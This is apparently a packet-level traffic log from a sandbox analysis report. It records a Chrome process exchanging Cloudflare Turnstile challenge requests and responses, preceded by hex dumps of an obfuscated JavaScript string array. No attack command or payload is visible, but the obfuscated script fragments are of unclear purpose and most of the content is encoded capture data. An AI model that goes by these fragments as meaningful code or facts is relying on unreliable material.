2025-01-15 14:12:16 UTC	1369	IN	Data Raw: 66 30 41 61 22 2c 22 41 77 35 32 7a 78 6a 30 7a 77 71 54 79 32 39 53 42 33 6a 5a 22 2c 22 43 4e 72 30 22 2c 22 43 68 6a 4c 7a 4d 76 59 43 59 31 4a 42 32 58 56 43 49 31 5a 79 32 48 4c 42 77 75 22 2c 22 79 77 6e 30 44 77 66 53 71 4d 39 31 42 4d 72 50 42 4d 44 63 42 33 48 62 43 32 6e 4c 42 4e 71 22 2c 22 72 32 76 55 7a 78 7a 48 22 2c 22 7a 67 39 55 7a 71 22 2c 22 79 78 6a 4e 44 77 31 4c 42 4e 72 5a 22 2c 22 7a 78 66 4d 22 2c 22 63 49 61 47 69 63 61 47 69 63 61 47 43 68 6a 4c 79 32 4c 5a 41 77 39 55 69 67 31 4c 7a 67 4c 31 42 78 61 47 7a 4d 58 56 79 78 71 37 63 49 61 47 69 63 61 47 69 63 61 47 44 4d 66 59 45 77 4c 55 7a 59 62 32 7a 77 6d 59 69 68 7a 48 43 4e 4c 50 42 4c 72 4c 45 65 6e 56 42 33 6a 4b 41 77 35 48 44 67 75 37 63 49 61 47 69 63 61 47 69 63 61 47 Data Ascii: f0Aa","Aw52zxj0zwqTy29SB3jZ","CNr0","ChjLzMvYCY1JB2XVCI1Zy2HLBwu","ywn0DwfSqM91BMrPBMDcB3HbC2nLBNq","r2vUzxzH","zg9Uzq","yxjNDw1LBNrZ","zxfM","cIaGicaGicaGChjLy2LZAw9Uig1LzgL1BxaGzMXVyxq7cIaGicaGicaGDMfYEwLUzYb2zwmYihzHCNLPBLrLEenVB3jKAw5HDgu7cIaGicaGicaG
2025-01-15 14:12:16 UTC	1369	IN	Data Raw: 63 22 2c 22 7a 4d 39 59 79 32 76 4b 6c 77 6e 56 42 67 39 59 43 57 22 2c 22 75 32 76 59 41 77 66 53 22 2c 22 7a 77 35 48 79 4d 58 4c 76 4d 76 59 44 67 76 34 71 78 72 30 43 4d 4c 49 71 78 6a 59 79 78 4b 22 2c 22 75 32 76 4e 42 32 75 47 76 75 4b 22 2c 22 79 32 66 55 44 4d 66 5a 22 2c 22 44 4d 76 59 44 67 76 34 71 78 72 30 43 4d 4c 49 75 67 39 50 42 4e 72 4c 43 47 22 2c 22 79 32 39 54 43 67 4c 53 7a 76 6e 4f 79 77 72 4c 43 47 22 2c 22 7a 4d 76 30 79 32 47 22 2c 22 6e 4a 65 58 6e 4a 4b 58 76 4d 50 55 73 4c 48 57 22 2c 22 42 4e 6e 50 22 2c 22 44 5a 75 32 22 2c 22 43 67 76 59 7a 4d 39 59 42 77 66 55 79 32 75 22 2c 22 43 32 76 55 44 61 22 2c 22 42 77 39 55 42 32 6e 4f 43 4d 39 54 7a 71 22 2c 22 7a 32 76 30 71 32 39 55 44 67 76 34 44 65 66 30 44 68 6a 50 79 4e 76 Data Ascii: c","zM9Yy2vKlwnVBg9YCW","u2vYAwfS","zw5HyMXLvMvYDgv4qxr0CMLIqxjYyxK","u2vNB2uGvuK","y2fUDMfZ","DMvYDgv4qxr0CMLIug9PBNrLCG","y29TCgLSzvnOywrLCG","zMv0y2G","nJeXnJKXvMPUsLHW","BNnP","DZu2","CgvYzM9YBwfUy2u","C2vUDa","Bw9UB2nOCM9Tzq","z2v0q29UDgv4Def0DhjPyNv
2025-01-15 14:12:16 UTC	1369	IN	Data Raw: 79 45 4b 69 30 74 77 50 7a 45 65 31 78 73 74 62 6d 72 4a 48 33 7a 75 72 6a 6e 66 4c 36 77 4d 4c 70 71 33 6e 59 73 4c 72 63 6e 65 35 64 41 59 39 79 45 4b 69 30 74 4e 50 4e 45 76 4c 54 77 4d 31 6c 45 4a 66 75 7a 65 48 6b 43 67 6a 54 7a 67 6a 6b 6d 4c 50 35 79 4a 69 58 72 67 66 68 72 4e 4c 72 6d 4a 4c 52 77 4c 6e 4b 7a 65 54 65 71 4a 72 41 42 76 4c 54 77 68 50 63 6e 65 30 59 77 4d 54 6e 6d 4c 75 59 75 67 4f 30 42 30 58 75 71 4a 72 6e 41 78 62 4d 74 75 48 4e 45 75 39 68 74 74 6a 7a 41 4d 44 54 74 75 48 4e 6d 4b 54 74 41 5a 7a 6e 73 67 44 33 73 31 48 30 7a 4b 31 69 7a 33 4c 6f 41 4b 76 34 77 77 50 72 6f 76 48 36 71 4a 72 6e 41 4b 4c 36 77 77 50 6e 6d 66 44 35 7a 68 62 49 42 76 6a 53 7a 75 75 35 42 75 4f 58 6d 67 39 79 45 4b 69 30 74 77 50 7a 45 65 31 78 73 74 Data Ascii: yEKi0twPzEe1xstbmrJH3zurjnfL6wMLpq3nYsLrcne5dAY9yEKi0tNPNEvLTwM1lEJfuzeHkCgjTzgjkmLP5yJiXrgfhrNLrmJLRwLnKzeTeqJrABvLTwhPcne0YwMTnmLuYugO0B0XuqJrnAxbMtuHNEu9httjzAMDTtuHNmKTtAZznsgD3s1H0zK1iz3LoAKv4wwProvH6qJrnAKL6wwPnmfD5zhbIBvjSzuu5BuOXmg9yEKi0twPzEe1xst
2025-01-15 14:12:16 UTC	1369	IN	Data Raw: 44 30 35 36 74 4d 31 70 41 4b 69 30 74 76 44 6b 41 75 58 67 6f 68 44 4c 72 31 75 5a 77 4b 44 72 6e 75 35 75 42 33 44 4c 72 65 7a 50 74 30 6e 34 7a 4b 31 69 7a 33 48 6e 42 75 4c 34 77 4c 72 66 6e 4b 31 69 7a 33 48 7a 41 4b 4f 35 74 65 79 34 44 32 76 65 72 78 50 6f 6d 4b 30 31 74 4d 4f 58 7a 4b 31 69 7a 5a 66 70 76 31 7a 53 74 65 79 34 44 32 76 65 72 78 50 6e 45 4d 6e 36 77 76 71 58 7a 4b 31 69 7a 5a 66 70 72 30 35 52 74 30 72 7a 42 30 54 75 44 64 6e 48 72 32 58 5a 77 4c 6e 4e 41 65 4c 77 44 67 72 6c 77 68 71 57 79 32 35 53 6e 32 72 54 72 4e 4c 6a 72 4a 48 33 7a 75 72 4a 6d 66 50 51 76 4d 48 41 41 4a 62 30 79 30 44 67 45 77 6d 59 76 4b 50 49 42 4c 66 56 77 68 50 63 6e 65 31 75 74 74 6e 7a 45 4d 53 59 73 30 79 34 44 32 76 65 74 74 66 6f 72 66 6a 52 74 78 4b Data Ascii: D056tM1pAKi0tvDkAuXgohDLr1uZwKDrnu5uB3DLrezPt0n4zK1iz3HnBuL4wLrfnK1iz3HzAKO5tey4D2verxPomK01tMOXzK1izZfpv1zStey4D2verxPnEMn6wvqXzK1izZfpr05Rt0rzB0TuDdnHr2XZwLnNAeLwDgrlwhqWy25Sn2rTrNLjrJH3zurJmfPQvMHAAJb0y0DgEwmYvKPIBLfVwhPcne1uttnzEMSYs0y4D2vettforfjRtxK
2025-01-15 14:12:16 UTC	1369	IN	Data Raw: 65 76 35 74 77 50 72 6d 65 31 36 6d 74 44 79 45 4b 69 30 74 78 50 72 6e 65 39 75 76 4d 4c 70 41 4b 69 30 74 76 72 52 6d 4b 58 67 6f 68 44 4c 72 65 50 50 74 31 72 67 41 30 31 65 42 33 44 4c 72 65 7a 4f 74 75 6e 34 7a 4b 31 69 7a 33 4c 70 76 66 4b 30 74 30 44 76 6e 4b 31 69 7a 33 48 70 76 65 4c 5a 77 68 50 63 6e 65 35 65 71 4d 48 6f 41 4c 76 36 74 32 50 63 6e 65 31 75 41 33 44 6d 72 4a 48 33 7a 75 72 67 42 76 4c 51 76 74 76 6e 76 67 39 33 7a 75 72 67 41 75 35 79 6d 68 6e 79 45 4b 69 30 74 31 72 4a 6d 65 39 78 72 74 76 71 77 68 72 4d 74 75 48 4e 45 65 31 54 77 4d 50 70 72 31 65 32 74 75 48 4e 45 65 39 75 41 33 6e 79 45 4b 69 30 74 78 50 6b 41 66 50 75 76 74 6a 70 41 4b 69 30 74 76 44 66 6e 77 7a 74 45 67 7a 6e 73 67 44 35 74 4b 72 76 45 66 50 65 76 74 4c 79 Data Ascii: ev5twPrme16mtDyEKi0txPrne9uvMLpAKi0tvrRmKXgohDLrePPt1rgA01eB3DLrezOtun4zK1iz3LpvfK0t0DvnK1iz3HpveLZwhPcne5eqMHoALv6t2Pcne1uA3DmrJH3zurgBvLQvtvnvg93zurgAu5ymhnyEKi0t1rJme9xrtvqwhrMtuHNEe1TwMPpr1e2tuHNEe9uA3nyEKi0txPkAfPuvtjpAKi0tvDfnwztEgznsgD5tKrvEfPevtLy
2025-01-15 14:12:16 UTC	1369	IN	Data Raw: 76 65 73 74 72 6f 76 67 6e 34 74 31 71 58 7a 4b 31 69 7a 5a 66 70 76 31 7a 53 74 65 79 34 44 32 76 65 73 4d 31 7a 41 4d 53 31 74 75 72 30 7a 4b 31 69 7a 33 4c 6f 45 4c 50 54 74 4b 72 6b 79 4c 48 36 71 4a 72 6e 41 4d 43 58 74 4e 50 66 6e 75 54 67 6f 68 44 4c 72 65 35 51 74 4b 44 6b 42 66 50 74 6e 77 7a 6e 73 67 44 35 74 74 6a 6a 6d 75 30 59 72 78 62 79 76 64 4c 4d 74 75 48 4e 45 4b 31 75 75 4d 4c 70 72 65 4c 56 77 68 50 63 6e 65 31 51 79 5a 6a 41 41 4c 66 35 76 33 4c 4b 6d 4c 4c 78 45 64 66 41 75 32 72 4b 73 31 72 56 42 31 48 36 71 4a 72 6e 42 76 50 50 74 31 72 52 44 31 62 77 6f 68 44 4c 72 65 4b 5a 74 4d 31 7a 6d 65 31 53 44 67 7a 6e 73 67 44 35 74 30 72 76 6d 30 31 75 41 32 39 79 45 4b 69 30 74 74 6a 6e 6d 66 4c 54 76 4d 58 6d 42 64 48 33 7a 75 72 6e 45 Data Ascii: vestrovgn4t1qXzK1izZfpv1zStey4D2vesM1zAMS1tur0zK1iz3LoELPTtKrkyLH6qJrnAMCXtNPfnuTgohDLre5QtKDkBfPtnwznsgD5ttjjmu0YrxbyvdLMtuHNEK1uuMLpreLVwhPcne1QyZjAALf5v3LKmLLxEdfAu2rKs1rVB1H6qJrnBvPPt1rRD1bwohDLreKZtM1zme1SDgznsgD5t0rvm01uA29yEKi0ttjnmfLTvMXmBdH3zurnE
2025-01-15 14:12:16 UTC	1369	IN	Data Raw: 55 79 4d 31 77 6e 67 72 64 7a 67 72 71 76 4a 48 33 7a 75 72 6e 6d 4b 31 68 76 78 50 6c 72 65 69 30 74 75 6e 52 43 31 48 36 71 4a 72 6f 72 66 66 36 77 4c 72 6b 41 4c 43 58 6f 68 44 4c 72 66 65 57 77 4b 72 72 44 30 39 74 7a 33 44 4c 72 65 75 30 77 76 6e 53 7a 66 62 77 6f 68 44 4c 72 65 30 59 74 75 44 76 45 4b 54 65 71 4a 72 6e 75 32 54 5a 77 68 50 63 6e 65 35 65 75 78 50 41 76 65 50 51 76 5a 65 34 44 32 76 65 75 74 62 41 72 66 66 33 74 31 6e 4e 44 32 76 65 72 4d 4c 7a 75 32 58 4b 75 66 79 34 44 32 76 65 74 74 6a 6e 72 31 76 36 73 30 72 63 6e 65 31 50 41 33 6e 6b 6d 4c 4f 58 79 4d 31 6f 6d 67 66 78 6f 78 76 6b 45 4a 61 35 7a 65 48 53 44 31 50 78 6f 77 31 6a 72 4b 34 31 79 4c 44 6b 44 4d 6a 64 77 77 31 6c 72 4a 48 33 7a 75 72 72 6d 65 30 59 76 78 4c 7a 6d 78 Data Ascii: UyM1wngrdzgrqvJH3zurnmK1hvxPlrei0tunRC1H6qJrorff6wLrkALCXohDLrfeWwKrrD09tz3DLreu0wvnSzfbwohDLre0YtuDvEKTeqJrnu2TZwhPcne5euxPAvePQvZe4D2veutbArff3t1nND2verMLzu2XKufy4D2vettjnr1v6s0rcne1PA3nkmLOXyM1omgfxoxvkEJa5zeHSD1Pxow1jrK41yLDkDMjdww1lrJH3zurrme0YvxLzmx
2025-01-15 14:12:16 UTC	1369	IN	Data Raw: 71 4a 72 6f 76 65 75 5a 77 4d 50 7a 45 76 43 58 6f 68 44 4c 72 65 30 31 77 78 50 6e 45 65 31 74 7a 33 44 4c 72 65 7a 50 77 76 6e 53 7a 65 54 74 77 77 31 79 45 4b 69 30 74 4b 72 72 6d 4b 39 68 77 4d 48 78 45 77 72 51 77 76 44 34 43 30 4f 58 6d 67 39 79 45 4b 69 30 74 4c 72 66 6d 31 50 51 77 78 4c 6c 75 33 44 33 7a 75 72 62 43 65 39 53 6f 68 44 4c 72 66 76 34 74 4a 6a 7a 6d 4b 31 53 43 32 35 49 42 76 79 30 7a 65 6e 4b 7a 65 54 74 77 77 31 6a 75 32 48 4d 74 75 48 4e 6d 65 35 65 77 74 72 41 42 75 75 35 77 68 50 63 6e 65 35 65 75 74 6a 70 72 31 50 4f 76 5a 65 34 44 32 76 65 74 74 76 7a 45 4b 31 34 74 76 6e 4f 7a 4b 31 69 7a 33 4c 7a 76 30 7a 54 77 4b 72 72 44 76 48 36 71 4a 72 6e 45 4d 43 57 74 30 44 6a 6e 75 54 77 6d 67 39 79 45 4b 69 30 74 4c 72 66 6d 31 50 Data Ascii: qJroveuZwMPzEvCXohDLre01wxPnEe1tz3DLrezPwvnSzeTtww1yEKi0tKrrmK9hwMHxEwrQwvD4C0OXmg9yEKi0tLrfm1PQwxLlu3D3zurbCe9SohDLrfv4tJjzmK1SC25IBvy0zenKzeTtww1ju2HMtuHNme5ewtrABuu5whPcne5eutjpr1POvZe4D2vettvzEK14tvnOzK1iz3Lzv0zTwKrrDvH6qJrnEMCWt0DjnuTwmg9yEKi0tLrfm1P
2025-01-15 14:12:16 UTC	1369	IN	Data Raw: 4b 72 7a 6e 66 50 54 72 4d 6a 6b 6d 4e 48 53 79 4d 31 4b 6d 67 66 64 7a 67 72 71 41 4b 69 30 74 75 6e 7a 42 76 48 36 71 4a 72 6f 72 66 65 59 74 30 44 41 41 66 43 58 6f 68 44 4c 72 66 65 57 74 4d 50 4f 42 76 4c 77 44 67 7a 6e 73 67 44 36 74 31 44 6e 45 4b 31 75 72 77 39 6e 73 67 44 34 77 76 44 6a 43 66 48 74 6d 68 44 4c 72 65 7a 4b 73 31 48 34 6f 65 31 69 7a 5a 6a 6a 76 64 61 35 77 68 50 63 6e 65 31 78 73 78 44 7a 76 67 72 4f 76 33 50 63 6e 65 31 67 6d 67 31 6b 41 4b 69 30 74 77 4c 66 6f 76 62 77 6f 68 44 4c 72 65 7a 50 74 75 44 66 6d 31 4c 77 43 33 44 4c 72 65 6a 4b 73 31 6e 53 6e 31 48 36 71 4a 72 6e 45 4d 43 58 74 76 44 66 6e 66 62 75 71 4a 72 6e 72 68 72 51 79 4a 69 31 6d 67 66 78 6e 74 66 41 76 68 71 35 79 76 44 7a 42 30 31 69 7a 33 50 71 76 64 61 35 Data Ascii: KrznfPTrMjkmNHSyM1KmgfdzgrqAKi0tunzBvH6qJrorfeYt0DAAfCXohDLrfeWtMPOBvLwDgznsgD6t1DnEK1urw9nsgD4wvDjCfHtmhDLrezKs1H4oe1izZjjvda5whPcne1xsxDzvgrOv3Pcne1gmg1kAKi0twLfovbwohDLrezPtuDfm1LwC3DLrejKs1nSn1H6qJrnEMCXtvDfnfbuqJrnrhrQyJi1mgfxntfAvhq5yvDzB01iz3Pqvda5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.7	50678	104.18.95.41	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:17 UTC	782	OUT	GET /cdn-cgi/challenge-platform/h/b/i/902675a0487a1a24/1736950335261/8s4RuyBLjGfE4Cq HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/jloxg/0x4AAAAAAA5Q7Uwm9h417dqO/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:17 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:17 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 902675bb984d0fa4-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 14:12:17 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 4e 00 00 00 55 08 02 00 00 00 68 d9 45 12 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRNUhEIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.7	50679	104.18.95.41	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:18 UTC	811	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/902675a0487a1a24/1736950335263/5904c1f87b3e3d5c1d222ac338a7f526c432b394bc839c89ff3f035cc63903e0/8kktmGa_7afnkD6 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/jloxg/0x4AAAAAAA5Q7Uwm9h417dqO/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:18 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Wed, 15 Jan 2025 14:12:18 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-01-15 14:12:18 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 57 51 54 42 2d 48 73 2d 50 56 77 64 49 69 72 44 4f 4b 66 31 4a 73 51 79 73 35 53 38 67 35 79 4a 5f 7a 38 44 58 4d 59 35 41 2d 41 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gWQTB-Hs-PVwdIirDOKf1JsQys5S8g5yJ_z8DXMY5A-AAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-01-15 14:12:18 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.7	50680	104.18.94.41	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:18 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/902675a0487a1a24/1736950335261/8s4RuyBLjGfE4Cq HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:18 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:18 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 902675c14b2b0f90-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 14:12:18 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 4e 00 00 00 55 08 02 00 00 00 68 d9 45 12 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRNUhEIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.7	50681	104.18.95.41	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:19 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/955245256:1736947623:vp-07IYrd0iRjBiJMB70-HnWl3BYr4NojnYmTM_I_kY/902675a0487a1a24/gzLGPeSUG39YlRDT0l7xQXdoUzvyp0W3TyWeXCdcVwY-1736950333-1.1.1.1-i1AJ09Z.5At06MFQ0IZjUzIP1VvQrCXuWUgLkwj8GT_GuUS1z1JdeZ8cntD4B1GO HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 32510 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: gzLGPeSUG39YlRDT0l7xQXdoUzvyp0W3TyWeXCdcVwY-1736950333-1.1.1.1-i1AJ09Z.5At06MFQ0IZjUzIP1VvQrCXuWUgLkwj8GT_GuUS1z1JdeZ8cntD4B1GO sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/jloxg/0x4AAAAAAA5Q7Uwm9h417dqO/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:19 UTC	16384	OUT	Data Raw: 76 5f 39 30 32 36 37 35 61 30 34 38 37 61 31 61 32 34 3d 4c 48 54 75 70 56 53 62 6b 34 48 6a 48 6a 35 48 53 49 53 34 43 4e 56 35 52 56 53 70 53 6a 62 31 75 65 54 52 35 63 6a 48 75 4c 51 56 37 54 6a 4c 56 6a 56 51 52 25 32 62 65 6a 6d 75 65 51 6a 31 59 6a 73 75 65 34 51 52 49 6a 71 62 6a 58 75 6a 37 6a 70 75 6a 48 34 54 75 59 78 62 6a 2d 75 59 5a 30 49 6e 6a 59 2d 43 51 42 75 49 31 6a 57 75 4e 56 46 36 71 51 39 6a 46 6a 68 4e 53 2b 6a 7a 24 6d 4e 4e 6a 53 77 75 53 32 49 6a 53 31 53 50 75 30 55 77 6a 53 51 77 53 73 2d 2b 6a 4f 39 6a 78 75 2d 34 39 61 71 6f 57 4e 6a 6e 6a 75 55 4d 4e 7a 54 77 34 58 70 31 58 4c 44 7a 56 56 4a 39 6a 54 55 4d 6a 75 75 30 47 77 6b 39 6a 74 63 34 2b 55 73 64 6a 4a 74 65 74 4e 4a 4c 5a 50 33 79 33 6d 57 56 72 6b 24 79 36 24 48 32 Data Ascii: v_902675a0487a1a24=LHTupVSbk4HjHj5HSIS4CNV5RVSpSjb1ueTR5cjHuLQV7TjLVjVQR%2bejmueQj1Yjsue4QRIjqbjXuj7jpujH4TuYxbj-uYZ0InjY-CQBuI1jWuNVF6qQ9jFjhNS+jz$mNNjSwuS2IjS1SPu0UwjSQwSs-+jO9jxu-49aqoWNjnjuUMNzTw4Xp1XLDzVVJ9jTUMjuu0Gwk9jtc4+UsdjJtetNJLZP3y3mWVrk$y6$H2
2025-01-15 14:12:19 UTC	16126	OUT	Data Raw: 6a 34 48 56 39 53 2b 53 34 6a 46 6a 6a 75 65 49 71 49 56 4f 6a 77 6a 32 6a 38 67 53 39 6a 37 6a 69 6a 4c 6b 75 6e 6a 34 75 47 4d 6a 75 6a 6e 75 47 6b 6a 61 6a 33 75 71 6b 56 4f 6a 6f 75 56 51 52 63 6a 43 6a 4c 6b 53 7a 75 6a 77 6a 51 6a 49 6a 4b 69 36 56 52 54 4e 51 6a 4c 6b 53 6c 54 53 48 47 49 70 71 4e 7a 75 56 6b 53 75 6a 46 49 4c 65 52 2d 39 47 75 47 48 56 24 4d 6c 6a 71 6b 53 76 6a 42 6a 62 42 6b 67 6a 46 49 30 30 6a 43 53 30 6a 43 39 52 61 6a 52 6a 24 6b 52 61 6a 4f 6a 58 6b 52 62 6a 4b 75 47 39 59 48 6a 6c 6a 56 6b 53 62 51 51 6a 58 75 6a 31 53 78 6a 38 72 78 66 75 58 75 38 6a 53 54 6a 61 6a 53 75 53 50 75 6d 4e 59 7a 56 62 6a 46 49 6a 6a 52 43 57 51 38 69 48 66 39 75 6a 42 51 6a 75 6a 75 75 49 32 56 75 53 62 75 6a 6b 56 34 6a 46 75 30 6b 56 61 6a Data Ascii: j4HV9S+S4jFjjueIqIVOjwj2j8gS9j7jijLkunj4uGMjujnuGkjaj3uqkVOjouVQRcjCjLkSzujwjQjIjKi6VRTNQjLkSlTSHGIpqNzuVkSujFILeR-9GuGHV$MljqkSvjBjbBkgjFI00jCS0jC9RajRj$kRajOjXkRbjKuG9YHjljVkSbQQjXuj1Sxj8rxfuXu8jSTjajSuSPumNYzVbjFIjjRCWQ8iHf9ujBQjujuuI2VuSbujkV4jFu0kVaj
2025-01-15 14:12:19 UTC	322	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:19 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26320 Connection: close cf-chl-gen: Fvfe0bayCrZ9alCKlBFKyT5sysNtX2ro5slHAVDppzvSI9Cq+iG9f6H8F2Dd6T9Y$UGXcfn6ZBJpRgVzmOmWcuw== Server: cloudflare CF-RAY: 902675c40ce08c53-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 14:12:19 UTC	1047	IN	Data Raw: 56 57 78 72 65 6b 79 62 65 47 78 70 6a 6e 68 32 63 33 2b 66 6d 59 47 63 66 61 47 68 6f 33 6d 6c 70 61 61 73 6b 4a 71 71 72 4a 43 6e 64 36 61 5a 68 71 53 53 74 4c 2b 54 75 61 35 2b 76 6e 32 32 67 4a 79 78 78 5a 66 4c 6e 4c 6d 59 6d 5a 69 78 6f 71 75 2f 77 35 4c 52 7a 64 57 6e 6b 63 6d 50 6b 4a 2b 35 79 70 6d 34 6f 71 4b 7a 76 39 37 41 75 62 66 61 37 63 62 58 32 4f 48 61 72 38 33 74 7a 63 72 4e 31 39 76 78 78 66 33 79 33 66 54 52 37 75 44 35 33 63 50 65 2f 66 59 4a 39 4f 50 5a 79 75 48 38 43 77 33 51 7a 75 41 57 35 52 50 59 37 52 49 52 38 51 34 41 41 74 7a 30 49 2f 59 53 47 50 63 6d 48 79 59 46 48 69 49 61 37 69 59 4f 2f 68 45 70 4d 79 37 7a 4e 51 77 50 43 68 34 6e 48 6a 51 4f 4d 43 46 46 47 69 55 6c 46 52 6b 30 49 7a 74 48 53 69 4d 6c 4c 7a 30 51 4c 42 34 Data Ascii: VWxrekybeGxpjnh2c3+fmYGcfaGho3mlpaaskJqqrJCnd6aZhqSStL+Tua5+vn22gJyxxZfLnLmYmZixoqu/w5LRzdWnkcmPkJ+5ypm4oqKzv97Aubfa7cbX2OHar83tzcrN19vxxf3y3fTR7uD53cPe/fYJ9OPZyuH8Cw3QzuAW5RPY7RIR8Q4AAtz0I/YSGPcmHyYFHiIa7iYO/hEpMy7zNQwPCh4nHjQOMCFFGiUlFRk0IztHSiMlLz0QLB4
